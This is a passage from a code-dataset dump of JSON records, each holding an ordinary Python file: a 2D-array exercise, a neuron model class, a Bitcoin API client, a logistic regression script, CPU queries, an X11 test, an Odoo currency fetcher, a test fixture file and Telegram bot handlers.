{"api_name": "arcpy.mapping.ListDataFrames", "line_number": 26, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 26, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListLayoutElements", "line_number": 27, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 27, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.Layer", "line_number": 34, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 34, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.Layer", "line_number": 38, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 38, "usage_type": "attribute"}, {"api_name": "arcpy.UpdateCursor", "line_number": 42, "usage_type": "call"}, {"api_name": "arcpy.mapping.AddLayer", "line_number": 50, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 50, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListLayers", "line_number": 52, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.Layer", "line_number": 58, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 58, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.UpdateLayer", "line_number": 59, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 59, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.Layer", "line_number": 65, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 65, "usage_type": "attribute"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 66, "usage_type": "call"}, {"api_name": "arcpy.GetCount_management", "line_number": 67, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 69, "usage_type": "call"}, {"api_name": "arcpy.ExecuteError", "line_number": 70, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.Layer", "line_number": 72, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 72, "usage_type": "attribute"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 73, "usage_type": "call"}, {"api_name": "arcpy.GetCount_management", "line_number": 74, "usage_type": "call"}, {"api_name": "arcpy.AddError", "line_number": 76, "usage_type": "call"}, {"api_name": "arcpy.ExecuteError", "line_number": 77, "usage_type": "attribute"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 79, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path", "line_number": 84, "usage_type": "attribute"}, {"api_name": "arcpy.CopyFeatures_management", "line_number": 85, "usage_type": "call"}, {"api_name": "arcpy.mapping.Layer", "line_number": 86, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 86, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.AddLayer", "line_number": 87, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 87, "usage_type": "attribute"}, {"api_name": "arcpy.UpdateCursor", "line_number": 94, "usage_type": "call"}, {"api_name": "arcpy.UpdateCursor", "line_number": 101, "usage_type": "call"}, {"api_name": "arcpy.mapping.ListLayers", "line_number": 109, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.Layer", "line_number": 122, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 122, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.UpdateLayer", "line_number": 123, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 123, "usage_type": "attribute"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 129, "usage_type": "call"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 131, "usage_type": "call"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 133, "usage_type": "call"}, {"api_name": "arcpy.SelectLayerByAttribute_management", "line_number": 135, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 138, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 138, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ListLayoutElements", "line_number": 140, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 140, "usage_type": "attribute"}, {"api_name": "arcpy.mapping.ExportToPDF", "line_number": 147, "usage_type": "call"}, {"api_name": "arcpy.mapping", "line_number": 147, "usage_type": "attribute"}]} {"seq_id": "36749485", "text": "# 36. Write a program which takes 2 digits\n# Example Suppose the following inputs are given to the program: 3,5Then, \n# the output of the program should be: [[0, 0, 0, 0, 0], [0, 1, 2, 3, 4], [0, 2, 4, 6, 8]]\nimport pytest\n\ndef darray(x, y):\t\n\tarr = [[0 for col in range(y)] for row in range(x)]\n\t\t\n\tfor i in range(x):\n\t\tfor j in range(y):\n\t\t\tarr[i][j] = i*j\n\t\t\t\n\treturn arr\n\n\ndef main():\n\tprint(darray(5, 5))\n\t\nif __name__ == \"__main__\":\n\tmain()\n\t\n@pytest.mark.parametrize(\"input1, input2, expected_array\",\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\t(3, 5, [[0, 0, 0, 0, 0], [0, 1, 2, 3, 4], [0, 2, 4, 6, 8]]),\n\t\t\t\t\t\t\t(5, 5, [[0, 0, 0, 0, 0], [0, 1, 2, 3, 4], [0, 2, 4, 6, 8], [0, 3, 6, 9, 12], [0, 4, 8, 12, 16]])\n\t\t\t\t\t\t]\n\t\t\t\t\t\t)\ndef test_darray(input1, input2, expected_array):\n\tassert expected_array == darray(input1, input2)\n\t\t\t\t\t\t\n\n", "sub_path": "puzzels/36two_d_array.py", "file_name": "36two_d_array.py", "file_ext": "py", "file_size_in_byte": 822, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pytest.mark.parametrize", "line_number": 22, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 22, "usage_type": "attribute"}]} {"seq_id": "106959996", "text": "from neuron import h\nfrom neuron.units import ms,mV\nfrom cell import Cell\nclass Interneuron(Cell):\n name = 'Interneuron'\n def _set_morphology(self):\n self.soma = h.Section(name='soma', cell=self)\n self.soma.L=self.soma.diam = 10\n \n def _set_biophysics(self):\n\n for sec in self.all:\n sec.Ra = 100\n sec.cm = 1.5\n \n \n\n ", "sub_path": "small network/interneuron/interneuron.py", "file_name": "interneuron.py", "file_ext": "py", "file_size_in_byte": 400, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cell.Cell", "line_number": 4, "usage_type": "name"}, {"api_name": "neuron.h.Section", "line_number": 7, "usage_type": "call"}, {"api_name": "neuron.h", "line_number": 7, "usage_type": "name"}]} {"seq_id": "347116265", "text": "import json\nimport pybitcointools\nimport requests\nimport time\n\nfrom transactions.services.service import BitcoinService\nfrom transactions.utils import bitcoin_to_satoshi\n\n\"\"\"\nBlockr Service @ btc.blockr.io\n\"\"\"\n\n\nclass BitcoinBlockrService(BitcoinService):\n def __init__(self, testnet=False):\n super(BitcoinBlockrService, self).__init__(testnet=testnet)\n self.testnet = testnet\n\n @property\n def _url(self):\n if self.testnet:\n return 'https://tbtc.blockr.io/api/v1'\n else:\n return 'https://btc.blockr.io/api/v1'\n\n def make_request(self, url):\n response = requests.get(url)\n data = json.loads(response.content)\n if data.get('status') != 'success':\n raise Exception(\"code: {} message: {}\".format(data['code'],\n data['message']))\n return data['data']\n\n def list_transactions(self, address, **kwargs):\n # blockr returns the last 200 transactions\n path = '/address/txs/{}'.format(address)\n url = self._url + path\n results = self.make_request(url)\n\n out = []\n for tx in results['txs']:\n out.append({'txid': tx['tx'],\n 'amount': bitcoin_to_satoshi(tx['amount']),\n 'confirmations': tx['confirmations'],\n 'time': self._convert_time(tx['time_utc'])})\n return out\n\n def list_unspents(self, address, min_confirmations):\n unconfirmed = True if min_confirmations == 0 else False\n if unconfirmed:\n path = '/address/unspent/{}?unconfirmed=1'.format(address)\n else:\n path = '/address/unspent/{}'.format(address)\n url = self._url + path\n results = self.make_request(url)\n\n out = []\n for unspent in results['unspent']:\n if unspent['confirmations'] >= min_confirmations:\n out.append({'txid': unspent['tx'],\n 'vout': unspent['n'],\n 'amount': bitcoin_to_satoshi(float(unspent['amount'])),\n 'confirmations': unspent['confirmations']})\n return out\n\n def get_transaction(self, txid):\n path = '/tx/info/{}'.format(txid)\n url = self._url + path\n results = self.make_request(url)\n return results\n\n def push_tx(self, tx_signed):\n # push transactions requires a post to blockr\n path = '/tx/push'\n url = self._url + path\n payload = {'hex': tx_signed}\n response = requests.post(url, data=payload)\n return pybitcointools.txhash(tx_signed)\n\n def _convert_time(self, time_str):\n return int(time.mktime(time.strptime(time_str, '%Y-%m-%dT%H:%M:%SZ')))\n", "sub_path": "transactions/services/blockrservice.py", "file_name": "blockrservice.py", "file_ext": "py", "file_size_in_byte": 2777, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "transactions.services.service.BitcoinService", "line_number": 14, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 28, "usage_type": "call"}, {"api_name": "transactions.utils.bitcoin_to_satoshi", "line_number": 43, "usage_type": "call"}, {"api_name": "transactions.utils.bitcoin_to_satoshi", "line_number": 62, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 77, "usage_type": "call"}, {"api_name": "pybitcointools.txhash", "line_number": 78, "usage_type": "call"}, {"api_name": "time.mktime", "line_number": 81, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 81, "usage_type": "call"}]} {"seq_id": "295804730", "text": "import os\nimport sys\nimport yaml\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport statsmodels.api as sm\n\n# read from command line\ndata_path = sys.argv[1]\noutput_path = sys.argv[2]\n\n# create output path\nos.makedirs(output_path, exist_ok=True)\n\n# load train-test size parameter\nparams = yaml.safe_load(open('params.yaml'))['model_development']\nnumerical_columns_as_features = [item+'_transformed' for item in params['numerical_columns_as_features']]\ncategorical_columns_as_features = [item+'_transformed' for item in params['categorical_columns_as_features']]\nmodel_with_intercept = params['model_with_intercept']\n\n# load data\nX_train = pd.read_csv(os.path.join(data_path, 'X_train_transformed.csv'))\ny_train = pd.read_csv(os.path.join(data_path, 'y_train_transformed.csv'))\n\n# build model\nX_train = X_train[numerical_columns_as_features+categorical_columns_as_features]\n\nif model_with_intercept.lower()=='yes':\n X_train = sm.add_constant(X_train)\n\nlogit_model = sm.Logit(y_train, X_train)\nresults = logit_model.fit()\nprint(results.summary())\n\n# save model to csv\ndf_results = results.summary2().tables[1]\ndf_results = df_results.rename_axis('Parameter').reset_index()\ndf_results.to_csv(os.path.join(output_path, 'logistic-regression-model.csv'), index=False)\n\n# save json\ndf_results['Parameter'] = df_results['Parameter'].str.replace(r'_transformed', '')\ndf_results = df_results[['Parameter','Coef.']]\ndf_results.to_json(os.path.join('5_1_3_model_coefficient/output', 'logistic-regression-model.json'), orient=\"records\")\n\n# save model\nwith open(os.path.join(output_path, 'logistic-regression-model.pkl'),'wb') as f:\n pickle.dump(results, f)\n", "sub_path": "development/code/model_pipeline/model_development.py", "file_name": "model_development.py", "file_ext": "py", "file_size_in_byte": 1657, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 14, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "statsmodels.api.add_constant", "line_number": 30, "usage_type": "call"}, {"api_name": "statsmodels.api", "line_number": 30, "usage_type": "name"}, {"api_name": "statsmodels.api.Logit", "line_number": 32, "usage_type": "call"}, {"api_name": "statsmodels.api", "line_number": 32, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 48, "usage_type": "call"}]} {"seq_id": "218718980", "text": "\"\"\"Functions to query system's CPUs/APUs.\"\"\"\n\nimport logging\nimport typing as t\n\nimport cpuinfo\n\nfrom .errors import QueryError\n\n_LOG = logging.getLogger(__name__)\n\n\ntry:\n\n try:\n import psutil\n except ImportError as err:\n raise QueryError('unable to import psutil') from err\n\n\n def query_cpu_clock() -> t.Tuple[t.Optional[int], t.Optional[int], t.Optional[int]]:\n \"\"\"Get current, minimum and maximum clock frequency of the CPU in the system.\"\"\"\n cpu_clock = None\n try:\n cpu_clock = psutil.cpu_freq()\n except FileNotFoundError:\n pass\n if cpu_clock is None:\n return None, None, None\n return cpu_clock.current, cpu_clock.min, cpu_clock.max\n\n\n def query_cpu_cores() -> t.Tuple[t.Optional[int], t.Optional[int]]:\n \"\"\"Get number of logical and physical cores of the system's CPU.\"\"\"\n return psutil.cpu_count(), psutil.cpu_count(logical=False)\n\n\nexcept QueryError:\n\n _LOG.info('proceeding without CPU clock and core count query support', exc_info=1)\n\n\n def query_cpu_clock() -> t.Tuple[t.Optional[int], t.Optional[int], t.Optional[int]]:\n return None, None, None\n\n def query_cpu_cores() -> t.Tuple[t.Optional[int], t.Optional[int]]:\n return None, None\n\n\ndef query_cpu(**_) -> t.Mapping[str, t.Any]:\n \"\"\"Get information about CPU present in the system.\"\"\"\n cpu = cpuinfo.get_cpu_info()\n clock_current, clock_min, clock_max = query_cpu_clock()\n logical_cores, physical_cores = query_cpu_cores()\n return {\n 'brand': cpu[\"brand\"],\n 'logical_cores': logical_cores,\n 'physical_cores': physical_cores,\n 'clock': clock_current,\n 'clock_min': clock_min,\n 'clock_max': clock_max}\n", "sub_path": "system_query/cpu_info.py", "file_name": "cpu_info.py", "file_ext": "py", "file_size_in_byte": 1758, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "errors.QueryError", "line_number": 18, "usage_type": "call"}, {"api_name": "psutil.cpu_freq", "line_number": 25, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 21, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 21, "usage_type": "attribute"}, {"api_name": "psutil.cpu_count", "line_number": 35, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 33, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 33, "usage_type": "attribute"}, {"api_name": "errors.QueryError", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 43, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 43, "usage_type": "attribute"}, {"api_name": "typing.Tuple", "line_number": 46, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 46, "usage_type": "attribute"}, {"api_name": "cpuinfo.get_cpu_info", "line_number": 52, "usage_type": "call"}, {"api_name": "typing.Mapping", "line_number": 50, "usage_type": "attribute"}, {"api_name": "typing.Any", "line_number": 50, "usage_type": "attribute"}]} {"seq_id": "292211679", "text": "#!/usr/bin/env python3\n\n'''Test creating a WindowSurface bound to an X11 window.'''\n\n# Copyright (c) 2014 Tim Pederick.\n# Based on examples/draw.py from python-x11:\n# Copyright (c) 2000 Peter Liljenberg \n#\n# This file is part of Pegl.\n#\n# Pegl is free software: you can redistribute it and/or modify it\n# under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Pegl is distributed in the hope that it will be useful, but WITHOUT\n# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY\n# or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\n# License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Pegl. If not, see .\n\nfrom pegl import display, config, surface\nfrom Xlib import X, display as Xdisplay\n\nclass TestApp:\n '''A bare-bones X11 window.'''\n def __init__(self, dpy):\n self.Xdisplay = dpy\n self.screen = self.Xdisplay.screen()\n\n self.window = self.screen.root.create_window(5, 5, 640, 480, 1,\n self.screen.root_depth)\n self.DELETE_WINDOW = self.Xdisplay.intern_atom('WM_DELETE_WINDOW')\n self.PROTOCOLS = self.Xdisplay.intern_atom('WM_PROTOCOLS')\n\n self.window.set_wm_name('Pegl test: X11')\n self.window.set_wm_protocols((self.DELETE_WINDOW,))\n\n self.EGLdisplay = display.Display()\n self.config = config.get_configs(self.EGLdisplay)[0]\n self.surface = surface.WindowSurface(self.EGLdisplay, self.config, {},\n self.window.id)\n self.window.map()\n\n def loop(self):\n while True:\n ev = self.Xdisplay.next_event()\n\n if ev.type == X.DestroyNotify:\n raise SystemExit()\n elif ev.type == X.ClientMessage:\n fmt, data = ev.data\n if fmt == 32 and data[0] == self.DELETE_WINDOW:\n raise SystemExit()\n\n\nif __name__ == '__main__':\n app = TestApp(Xdisplay.Display())\n app.loop()\n", "sub_path": "pegl/tests/x11.py", "file_name": "x11.py", "file_ext": "py", "file_size_in_byte": 2211, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pegl.display.Display", "line_number": 41, "usage_type": "call"}, {"api_name": "pegl.display", "line_number": 41, "usage_type": "name"}, {"api_name": "pegl.config.get_configs", "line_number": 42, "usage_type": "call"}, {"api_name": "pegl.config", "line_number": 42, "usage_type": "name"}, {"api_name": "pegl.surface.WindowSurface", "line_number": 43, "usage_type": "call"}, {"api_name": "pegl.surface", "line_number": 43, "usage_type": "name"}, {"api_name": "Xlib.X.DestroyNotify", "line_number": 51, "usage_type": "attribute"}, {"api_name": "Xlib.X", "line_number": 51, "usage_type": "name"}, {"api_name": "Xlib.X.ClientMessage", "line_number": 53, "usage_type": "attribute"}, {"api_name": "Xlib.X", "line_number": 53, "usage_type": "name"}, {"api_name": "Xlib.display.Display", "line_number": 60, "usage_type": "call"}, {"api_name": "Xlib.display", "line_number": 60, "usage_type": "name"}]} {"seq_id": "627300376", "text": "import datetime\nimport json\nimport requests\nfrom odoo import models, fields, api\n\nclass ResCurrency(models.Model):\n _inherit = 'res.currency'\n\n @api.multi\n def push_data(self):\n today = datetime.date.today().isoformat()\n company_ids = self.env['res.company'].sudo().search([])\n for company_id in company_ids:\n url = 'https://hacienda.hadoopt.com/currency_data'\n res = requests.post(url, data={\n 'base': company_id.currency_id.name,\n 'date': today,\n })\n\n if res.status_code == 200:\n json_data = json.loads(res.content.decode())\n if 'success' in json_data and json_data['success'] == True:\n currency_ids = self.env['res.currency'].sudo().search([])\n for currency_id in currency_ids:\n self.env['res.currency.rate'].sudo().create({\n 'name': today,\n 'rate': json_data['rates'][currency_id.name],\n 'company_id': company_id.id,\n 'currency_id': currency_id.id,\n })\n\n", "sub_path": "currency_client/models/curreny_master.py", "file_name": "curreny_master.py", "file_ext": "py", "file_size_in_byte": 1185, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "odoo.models.Model", "line_number": 6, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 6, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 11, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 11, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 15, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 21, "usage_type": "call"}, {"api_name": "odoo.api.multi", "line_number": 9, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 9, "usage_type": "name"}]} {"seq_id": "127842828", "text": "from typing import Any\n\nimport flask\nimport os\nimport pygit2\nimport pytest\nfrom path import Path\n\nimport zpov.admin\nfrom zpov.app import create_app\nfrom zpov.pages import Pages\nfrom zpov.repository import Repository\n\n\n@pytest.fixture(autouse=True, scope=\"session\")\ndef set_testing_env() -> None:\n os.environ[\"ZPOV_TESTING\"] = \"1\"\n\n\n@pytest.fixture\ndef tmp_path(tmpdir: Any) -> Path:\n return Path(tmpdir)\n\n\n@pytest.fixture\ndef repository(tmp_path: Path) -> Repository:\n repo_path = tmp_path / \"repo.git\"\n git_repo = pygit2.init_repository(str(repo_path), pygit2.GIT_REPOSITORY_INIT_BARE)\n return Repository(git_repo)\n\n\n@pytest.fixture\ndef pages(tmp_path: Path, repository: Repository) -> Pages:\n pages = Pages(repository)\n return pages\n\n\n@pytest.fixture\ndef pages_with_tree(pages: Pages) -> Pages:\n pages.save(\"index\", \"# Welcome\\n\")\n pages.save(\"a_file\", \"# A file\\n\")\n pages.save(\"foo/bar\", \"# Bar \\n\")\n pages.save(\"foo/index\", \"# Foo\\n\")\n pages.save(\"spam/index\", \"# Spam\\n\")\n pages.save(\"spam/01_one\", \"# One\\n\")\n pages.save(\"spam/02_two\", \"# Two\\n\")\n pages.save(\"spam/sub/three\", \"# Three\\n\")\n pages.save(\"spam/sub/deep/foo\", \"# Four\\n\")\n return pages\n\n\nTEST_USER_LOGIN = \"test_user\"\nTEST_USER_PASSWORD = \"p4ssw0rd\"\n\n\n@pytest.fixture\ndef app(tmp_path: Path) -> flask.Flask:\n config_path = tmp_path / \"zpov.yml\"\n repo_path = tmp_path / \"repo.git\"\n zpov.admin.init(config_path, repo_path)\n zpov.admin.add_user(\n config_path,\n login=TEST_USER_LOGIN,\n password=TEST_USER_PASSWORD,\n name=\"Tasty Test\",\n email=\"test@zpov.local\",\n )\n app = create_app(config_path=config_path)\n\n return app\n", "sub_path": "test/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 1693, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 15, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 21, "usage_type": "name"}, {"api_name": "path.Path", "line_number": 22, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "attribute"}, {"api_name": "path.Path", "line_number": 21, "usage_type": "name"}, {"api_name": "path.Path", "line_number": 26, "usage_type": "name"}, {"api_name": "pygit2.init_repository", "line_number": 28, "usage_type": "call"}, {"api_name": "pygit2.GIT_REPOSITORY_INIT_BARE", "line_number": 28, "usage_type": "attribute"}, {"api_name": "zpov.repository.Repository", "line_number": 29, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 25, "usage_type": "attribute"}, {"api_name": "zpov.repository.Repository", "line_number": 26, "usage_type": "name"}, {"api_name": "path.Path", "line_number": 33, "usage_type": "name"}, {"api_name": "zpov.repository.Repository", "line_number": 33, "usage_type": "name"}, {"api_name": "zpov.pages.Pages", "line_number": 34, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 32, "usage_type": "attribute"}, {"api_name": "zpov.pages.Pages", "line_number": 33, "usage_type": "name"}, {"api_name": "zpov.pages.Pages", "line_number": 39, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 38, "usage_type": "attribute"}, {"api_name": "path.Path", "line_number": 57, "usage_type": "name"}, {"api_name": "zpov.admin.admin.init", "line_number": 60, "usage_type": "call"}, {"api_name": "zpov.admin.admin", "line_number": 60, "usage_type": "attribute"}, {"api_name": "zpov.admin", "line_number": 60, "usage_type": "name"}, {"api_name": "zpov.admin.admin.add_user", "line_number": 61, "usage_type": "call"}, {"api_name": "zpov.admin.admin", "line_number": 61, "usage_type": "attribute"}, {"api_name": "zpov.admin", "line_number": 61, "usage_type": "name"}, {"api_name": "zpov.app.create_app", "line_number": 68, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 56, "usage_type": "attribute"}, {"api_name": "flask.Flask", "line_number": 57, "usage_type": "attribute"}]} {"seq_id": "424651780", "text": "from telegram import ParseMode, InlineKeyboardButton, InlineKeyboardMarkup, Update, ReplyKeyboardMarkup, ReplyKeyboardRemove\nfrom telegram.ext import Updater, CommandHandler, CallbackQueryHandler, Filters, CallbackContext\nfrom database import db\n\nimport logging\n# Enable logging\nfrom telegram.utils import helpers\n\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO\n)\n\n\n\nlogger = logging.getLogger(__name__)\n\ndef events(update, context):\n \n query = update.callback_query\n query.answer()\n \n query.edit_message_text(text=display_events(update, context),reply_markup=events_keyboard(),\n # parse_mode=ParseMode.MARKDOWN, disable_web_page_preview=True #needed for [name](url) markdown\n )\n#https://stackoverflow.com/questions/36059572/how-do-i-have-my-bot-respond-with-arguments\n \n \n \n\ndef events_keyboard():\n keyboard = [\n\n [InlineKeyboardButton(\"Back\", callback_data=\"callback_main_menu\")],\n\n ]\n return InlineKeyboardMarkup(keyboard)\n\n\n\ndef display_events(update: Update, context: CallbackContext) -> str:\n bot = context.bot\n output = \"\"\n events_dict = db.child(\"Events\").get().val()\n for event_id in events_dict.keys():\n user_present = db.child(\"Users\").child(update.effective_chat.id).child(\"Registered Events\").child(event_id).get().val()\n output += f\"{events_dict[event_id]['Name']} | /details_{event_id}\"\n if user_present:\n output += \"\\t(Registered)\\n\"\n else: output += \"\\n\"\n output += f\"Date/Time: {events_dict[event_id]['Date']}\\n\"\n output += f\"Location: {events_dict[event_id]['Location']}\\n\"\n output += \"\\n\\n\"\n \n return output\n\ndef details(update: Update, context: CallbackContext) -> None:\n keyboard = [[InlineKeyboardButton(\"Back\", callback_data=\"callback_activities\")]]\n \n\n word = str(update.message.text)\n event_id = word.replace('/details_', '')\n event = db.child(\"Activities\").child(event_id).get().val()\n if not event: #if id not found, search in events\n event = db.child(\"Events\").child(event_id).get().val()\n keyboard = [[InlineKeyboardButton(\"Back\", callback_data=\"callback_events\")]] #change the button to return to events instead of activties\n \n user_present = db.child(\"Users\").child(update.effective_chat.id).child(\"Registered Events\").child(event_id).get().val()\n\n if not user_present:\n user_present = db.child(\"Users\").child(update.effective_chat.id).child(\"Registered Activities\").child(event_id).get().val()\n\n if user_present: \n update.message.reply_text(\n f\"{event['Name']}\\n\"\n f\"Date/Time: {event['Date']}\\n\"\n f\"Location: {event['Location']}\\n\"\n f\"Description: {event['Description']}\\n\\n\"\n f\"/unregister_{event_id}\",\n reply_markup= InlineKeyboardMarkup(keyboard)\n ) \n else:\n update.message.reply_text(\n f\"{event['Name']}\\n\"\n f\"Date/Time: {event['Date']}\\n\"\n f\"Location: {event['Location']}\\n\"\n f\"Description: {event['Description']}\\n\\n\"\n f\"/register_{event_id}\",\n reply_markup= InlineKeyboardMarkup(keyboard)\n )\n\n \n\ndef register(update: Update, context: CallbackContext) -> None:\n keyboard = [[InlineKeyboardButton(\"Back\", callback_data=\"callback_activities\")]]\n word = str(update.message.text)\n event_id = word.replace('/register_', '')\n event_type = \"Activities\"\n event = db.child(\"Activities\").child(event_id).get().val()\n if not event: #if id not found, search in events\n event = db.child(\"Events\").child(event_id).get().val()\n event_type = \"Events\"\n keyboard = [[InlineKeyboardButton(\"Back\", callback_data=\"callback_events\")]]\n \n db.child(event_type).child(event_id).child(\"Participants\").child(update.effective_chat.id).set(\"date registered\")\n db.child(\"Users\").child(update.effective_chat.id).child(f\"Registered {event_type}\").child(event_id).set(event['Name'])\n update.message.reply_text(f\"Successfully registered for {event['Name']}\", reply_markup= InlineKeyboardMarkup(keyboard))\n\n\ndef unregister(update: Update, context: CallbackContext) -> None:\n keyboard = [[InlineKeyboardButton(\"Back\", callback_data=\"callback_activities\")]]\n word = str(update.message.text)\n event_id = word.replace('/unregister_', '')\n event_type = \"Activities\"\n event = db.child(\"Activities\").child(event_id).get().val()\n if not event: #if id not found, search in activities\n event = db.child(\"Events\").child(event_id).get().val()\n event_type = \"Events\"\n keyboard = [[InlineKeyboardButton(\"Back\", callback_data=\"callback_events\")]]\n\n db.child(event_type).child(event_id).child(\"Participants\").child(update.effective_chat.id).remove()\n db.child(\"Users\").child(update.effective_chat.id).child(f\"Registered {event_type}\").child(event_id).remove()\n update.message.reply_text(f\"Successfully unregistered for {event['Name']}\", reply_markup= InlineKeyboardMarkup(keyboard))", "sub_path": "events.py", "file_name": "events.py", "file_ext": "py", "file_size_in_byte": 5036, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 10, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 15, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardButton", "line_number": 33, "usage_type": "call"}, {"api_name": "telegram.InlineKeyboardMarkup", "line_number": 36, "usage_type": "call"}, {"api_name": "telegram.Update", "line_number": 40, "usage_type": "name"}, {"api_name": "telegram.ext.CallbackContext", "line_number": 40, "usage_type": "name"}, {"api_name": "database.db.child", "line_number": 43, "usage_type": "call"}, {"api_name": "database.db", "line_number": 43, "usage_type": "name"}, {"api_name": 